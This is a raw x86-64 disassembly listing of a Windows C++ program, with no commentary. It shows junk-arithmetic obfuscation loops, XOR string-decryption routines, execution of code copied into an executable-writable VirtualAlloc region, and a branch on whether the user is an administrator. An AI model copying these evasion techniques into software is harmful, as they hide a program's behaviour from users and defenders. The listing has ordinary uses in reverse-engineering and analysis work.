cmp eax, 0x64
jae 0x1402033ee
lea rcx, [rsp + 0x24c0]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x1402033d3
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r14]
lea edx, [rcx - 0x80000000]
cmp ecx, r14d
cmovae edx, eax
mov eax, dword [rsp + 0x40]
imul edx, eax
mov dword [rsp + 0x40], edx
lea rcx, [rsp + 0x24c0]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
mov edi, ebx
cmp eax, 0xc9
jae 0x14020345b
cmp eax, 0x64
jae 0x14020345b
nop word [rax + rax]
lea rcx, [rsp + 0x24c0]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140203440
shr rax, 0x20
lea edx, [rax + 0x7fffff9c]
lea eax, [rdx + r14]
lea ecx, [rdx - 0x80000000]
cmp edx, r14d
cmovae ecx, eax
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv edi
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv edi
mov dword [rsp + 0x40], edx
sub qword [rsp + 0x60], r12
jne 0x1402032f1
mov r12, qword [rsp + 0x50]
jmp 0x1402032a0
mov eax, dword [rsp + 0x40]
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0xc140]
lea rcx, [rsp + 0x9e0]
call fcn.1401d34e0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
movabs r12, 0xff00ff00ff00ff00
jb 0x1402034e3
mov rax, qword [rax]
mov rdx, rax
mov rcx, rbx
call fcn.140219120
lea rdx, [0x140212b40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rsp + 0x9e0]
call fcn.140210af0
xor edx, edx
mov r8d, 0xf0
lea rcx, [rsp + 0x1020]
call fcn.140235fa8
lea rdx, [rsp + 0xc140]
lea rcx, [rsp + 0xb40]
call fcn.1401d34e0
mov rbx, rax
lea rcx, [r15 + 0x263968]
mov qword [rsp + 0x1020], rcx
lea rcx, [rsp + 0x10b0]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
or dword [rsp + 0xb4], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x1030]
lea rcx, [rsp + 0x1020]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rsp + 0x1020]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rsp + rcx + 0x1020], rax
mov rax, qword [rsp + 0x1020]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rsp + rcx + 0x101c], edx
lea rax, [rsp + 0x1030]
mov qword [rsp + 0xa8], rax
lea rcx, [rsp + 0x1030]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rsp + 0x1030], rax
mov rax, qword [rbx + 0x10]
mov qword [rsp + 0x50], rax
mov rdi, qword [rbx + 0x18]
cmp rdi, 0x10
jb 0x1402035f9
mov rdx, qword [rbx]
inc rdi
jmp 0x140203613
mov edi, 0x11
mov ecx, edi
call fcn.14023534c
mov rdx, rax
movups xmm0, xmmword [rbx]
movups xmmword [rax], xmm0
mov rax, qword [rsp + 0x50]
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
lea rcx, [rdx + rax]
mov qword [rsp + 0x1098], rcx
lea rcx, [rdx + rdi]
mov rax, qword [rsp + 0x1050]
mov qword [rax], rdx
mov rax, qword [rsp + 0x1070]
mov qword [rax], rdx
sub ecx, edx
mov rax, qword [rsp + 0x1088]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x1098]
mov rax, qword [rsp + 0x1048]
mov qword [rax], rdx
mov rax, qword [rsp + 0x1068]
mov qword [rax], rdx
sub ecx, edx
mov rax, qword [rsp + 0x1080]
mov dword [rax], ecx
mov dword [rsp + 0x10a0], 0x23
lea rcx, [rsp + 0xb40]
call fcn.140210af0
mov r8b, 0x3a
lea rdx, [0x140280590]
lea rcx, [rsp + 0x1020]
call fcn.140218b00
mov r8b, 0x3a
lea rdx, [0x140280860]
lea rcx, [rsp + 0x1020]
call fcn.140218b00
mov rax, qword [rsp + 0x1020]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x1020]
add rcx, rax
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [0x140280820]
lea rcx, [rsp + 0x1020]
call fcn.140218b00
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x4bd4], 0xffffffff
mov dword [rsp + 0x3854], eax
mov edx, 1
nop dword [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x3854], eax
inc rdx
cmp rdx, 0x270
jb 0x140203720
mov dword [rsp + 0x3850], 0x270
mov dword [rsp + 0x40], esi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x14020376f
imul rax, rax, 0x64
jmp 0x14020378a
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea r13, [rax + 0x5f5e100]
mov qword [rsp + 0x50], r13
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x1402037b4
imul rax, rax, 0x64
jmp 0x1402037cf
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r13
jge 0x1402039aa
mov qword [rsp + 0x60], 0x186a0
mov r13d, 1
nop word [rax + rax]
lea rcx, [rsp + 0x3850]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14020382b
nop dword [rax + rax]
lea rcx, [rsp + 0x3850]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140203810
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r14]
lea ebx, [rcx - 0x80000000]
cmp ecx, r14d
cmovae ebx, eax
test ebx, ebx
cmove ebx, r13d
lea rcx, [rsp + 0x3850]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
mov edi, ebx
cmp eax, 0xc9
jae 0x14020388b
cmp eax, 0x64
jae 0x14020388b
nop
lea rcx, [rsp + 0x3850]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140203870
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r14]
lea edx, [rcx - 0x80000000]
cmp ecx, r14d
cmovae edx, eax
mov eax, dword [rsp + 0x40]
add edx, eax
mov dword [rsp + 0x40], edx
lea rcx, [rsp + 0x3850]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
mov ebx, edi
cmp eax, 0xc9
jae 0x1402038ee
cmp eax, 0x64
jae 0x1402038ee
lea rcx, [rsp + 0x3850]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x1402038d3
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r14]
lea edx, [rcx - 0x80000000]
cmp ecx, r14d
cmovae edx, eax
mov eax, dword [rsp + 0x40]
imul edx, eax
mov dword [rsp + 0x40], edx
lea rcx, [rsp + 0x3850]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
mov edi, ebx
cmp eax, 0xc9
jae 0x14020395b
cmp eax, 0x64
jae 0x14020395b
nop word [rax + rax]
lea rcx, [rsp + 0x3850]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140203940
shr rax, 0x20
lea edx, [rax + 0x7fffff9c]
lea eax, [rdx + r14]
lea ecx, [rdx - 0x80000000]
cmp edx, r14d
cmovae ecx, eax
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv edi
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv edi
mov dword [rsp + 0x40], edx
sub qword [rsp + 0x60], r13
jne 0x1402037f0
mov r13, qword [rsp + 0x50]
jmp 0x140203796
mov eax, dword [rsp + 0x40]
mov eax, dword [str.heNxr]
mov dword [rsp + 0xb0], eax
cmp byte [0x1402643ff], 0
mov r13, 0xffffffffffffffff
mov edi, dword [0x140275008]
je 0x140203b3f
cmp edi, 2
jl 0x140203adc
mov ecx, 0x1f
movd xmm6, ecx
movdqa xmm7, xmmword [0x140265140]
movdqa xmm4, xmm7
punpckldq xmm4, xmm7
movdqa xmm2, xmm7
punpckhdq xmm2, xmm7
movdqa xmm5, xmm4
pmuldq xmm5, xmmword [0x140265220]
movdqa xmm0, xmm2
pmuldq xmm0, xmmword [0x140265220]
shufps xmm5, xmm0, 0xdd
mov ebx, 5
movd xmm0, ebx
psrad xmm5, xmm0
pmuldq xmm4, xmmword [0x140265230]
pmuldq xmm2, xmmword [0x140265230]
shufps xmm4, xmm2, 0xdd
psubd xmm4, xmm7
mov ecx, 6
movd xmm0, ecx
psrad xmm4, xmm0
movdqa xmm1, xmm4
psrld xmm1, xmm6
paddd xmm1, xmm4
pmulld xmm1, xmmword [0x140265240]
movdqa xmm0, xmm7
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
packuswb xmm3, xmm3
movdqa xmm0, xmm5
psrld xmm0, xmm6
paddd xmm0, xmm5
pmulld xmm0, xmmword [0x140265170]
psubd xmm7, xmm0
pshuflw xmm0, xmm7, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmmword [0x140265200]
movd xmm0, eax
pxor xmm3, xmm0
movd dword [rsp + 0xb0], xmm3
jmp 0x140203b44
lea r10, [rsp + 0xb0]
mov r9d, esi
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x24
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 4
jl 0x140203af0
mov ebx, 5
lea rcx, [rsp + 0xc00]
call fcn.1401c2ae0
mov r11, rax
movups xmm0, xmmword [0x140262e30]
movups xmmword [rsp + 0x2c8], xmm0
movups xmm1, xmmword [0x140262e40]
movups xmmword [rsp + 0x2d8], xmm1
movsd xmm0, qword [0x140262e50]
movsd qword [rsp + 0x2e8], xmm0
mov ecx, dword [0x140262e58]
mov dword [rsp + 0x2f0], ecx
movzx eax, word [0x140262e5c]
mov word [rsp + 0x2f4], ax
movzx eax, byte [0x140262e5e]
mov byte [rsp + 0x2f6], al
mov r9d, esi
cmp edi, 2
jl 0x140203ddf
movdqa xmm9, xmmword [0x140265140]
movdqa xmm6, xmmword [0x140265220]
movd xmm10, ebx
movdqa xmm7, xmmword [0x140265230]
mov eax, 6
movd xmm11, eax
movdqa xmm12, xmmword [0x140265170]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm13, xmmword [0x140265240]
movdqa xmm0, xmmword [0x140265200]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x2cc]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm10
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm8
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm10
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm8
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x28
jl 0x140203c20
cmp r9d, 0x2f
jge 0x140203e3f
movsxd rax, r9d
lea r10, [rsp + 0x2c8]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x24
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x2f
jl 0x140203df0
mov r8, r11
lea rdx, [rsp + 0x2c8]
lea rcx, [rsp + 0xc20]
call fcn.140212d60
nop
lea rcx, [rsp + 0xb0]
mov r8, r13
inc r8
cmp byte [rcx + r8], 0
jne 0x140203e63
lea rdx, [rsp + 0xb0]
mov rcx, rax
call fcn.14020ef60
xorps xmm0, xmm0
movups xmmword [rsp + 0xde8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0xdf8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0xde8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0xdf8], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
or dword [rsp + 0xb4], 2
lea rcx, [rsp + 0xc20]
call fcn.140210af0
nop
lea rcx, [rsp + 0xc00]
call fcn.140210af0
lea rdi, [0x1401c4960]
lea rax, [rsp + 0xde8]
cmp qword [rsp + 0xe00], 0x10
cmovae rax, qword [rsp + 0xde8]
mov qword [rsp + 0x1e0], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xe98], xmm0
lea rcx, [rsp + 0xc9d8]
mov qword [rsp + 0xea0], r12
mov qword [rsp + 0xea8], rcx
mov rax, qword [rcx]
xor rax, r12
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xe98], rax
mov qword [rcx], rsi
mov ecx, esi
mov rax, qword [0x140284a00]
lea rbx, [0x140212d00]
test rax, rax
je 0x140203f80
mov rdx, rsi
cmp rax, rbx
je 0x140203f6f
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x284a00]
test rax, rax
jne 0x140203f57
jmp 0x140203f80
mov r8, qword [r15 + rdx*8 + 0x282d50]
test r8, r8
jne 0x140204061
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140203fa7
mov r8, rsi
jmp 0x140204040
mov rax, rbx
mov rcx, r8
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140203fb2
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140280030]
mov qword [r15 + rax*8 + 0x284a00], rbx
mov qword [r15 + rax*8 + 0x282d50], r8
inc rax
mov qword [0x140280030], rax
lea rdx, [rsp + 0x1e0]
mov rcx, rdi
call r8
nop
mov rax, qword [rsp + 0x50]
xor rax, r12
mov qword [rsp + 0xe98], rax
lea rcx, [rsp + 0xc9d8]
mov qword [rcx], rax
call qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
lea rdx, [rsp + 0xc140]
test eax, eax
je 0x1402043dd
lea rcx, [rsp + 0xbc0]
call fcn.1401d34e0
mov r11, rax
movups xmm0, xmmword [0x140261dc0]
movups xmmword [rsp + 0x7f0], xmm0
movups xmm1, xmmword [0x140261dd0]
movups xmmword [rsp + 0x800], xmm1
movups xmm0, xmmword [0x140261de0]
movups xmmword [rsp + 0x810], xmm0
movups xmm1, xmmword [0x140261df0]
movups xmmword [rsp + 0x820], xmm1
movups xmm0, xmmword [0x140261e00]
movups xmmword [rsp + 0x830], xmm0
movsd xmm0, qword [0x140261e10]
movsd qword [rsp + 0x840], xmm0
movzx eax, byte [0x140261e18]
mov byte [rsp + 0x848], al
mov r9d, esi
cmp dword [0x140275008], 2
jl 0x14020434f
movdqa xmm9, xmmword [0x140265140]
movdqa xmm6, xmmword [0x140265220]
mov eax, 5
movd xmm10, eax
movdqa xmm7, xmmword [0x140265230]
mov eax, 6
movd xmm11, eax
movdqa xmm12, xmmword [0x140265170]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm13, xmmword [0x140265240]
movdqa xmm0, xmmword [0x140265200]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x7f4]
mov edx, dword [rsp + 0x50]
nop
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm4, xmm5
punpckldq xmm4, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm2, xmm4
pmuldq xmm2, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, xmm10
pmuldq xmm4, xmm7
pmuldq xmm1, xmm7
shufps xmm4, xmm1, 0xdd
psubd xmm4, xmm5
psrad xmm4, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm8
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm10
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm8
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x58
jl 0x140204190
cmp r9d, 0x59
jge 0x1402043af
movsxd rax, r9d
lea r10, [rsp + 0x7f0]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x24
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x59
jl 0x140204360
mov r8, r11
lea rdx, [rsp + 0x7f0]
lea rcx, [rsp + 0xbe0]
call fcn.140212d60
mov rcx, rax
call fcn.1401c8710
nop
lea rcx, [rsp + 0xbc0]
jmp 0x140204738
lea rcx, [rsp + 0xba0]
call fcn.1401d34e0
mov r11, rax
movups xmm0, xmmword [str.hp_39nvhtmpRLT_HP]
movups xmmword [rsp + 0x850], xmm0
movups xmm1, xmmword [0x140262520]
movups xmmword [rsp + 0x860], xmm1
movups xmm0, xmmword [0x140262530]
movups xmmword [rsp + 0x870], xmm0
movups xmm1, xmmword [0x140262540]
movups xmmword [rsp + 0x880], xmm1
movups xmm0, xmmword [0x140262550]
movups xmmword [rsp + 0x890], xmm0
movups xmm1, xmmword [0x140262560]
movups xmmword [rsp + 0x8a0], xmm1
movsd xmm0, qword [0x140262570]
movsd qword [rsp + 0x8b0], xmm0
mov eax, dword [0x140262578]
mov dword [rsp + 0x8b8], eax
movzx eax, word [0x14026257c]
mov word [rsp + 0x8bc], ax
mov r9d, esi
cmp dword [0x140275008], 2
jl 0x1402046af
movdqa xmm9, xmmword [0x140265140]
movdqa xmm6, xmmword [0x140265220]
mov eax, 5
movd xmm10, eax
movdqa xmm7, xmmword [0x140265230]
mov eax, 6
movd xmm11, eax
movdqa xmm12, xmmword [0x140265170]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm13, xmmword [0x140265240]
movdqa xmm0, xmmword [0x140265200]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x854]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm10
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm8
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm10
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm8
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x68
jl 0x1402044f0
cmp r9d, 0x6e
jge 0x14020470f
movsxd rax, r9d
lea r10, [rsp + 0x850]
add r10, rax
nop dword [rax]
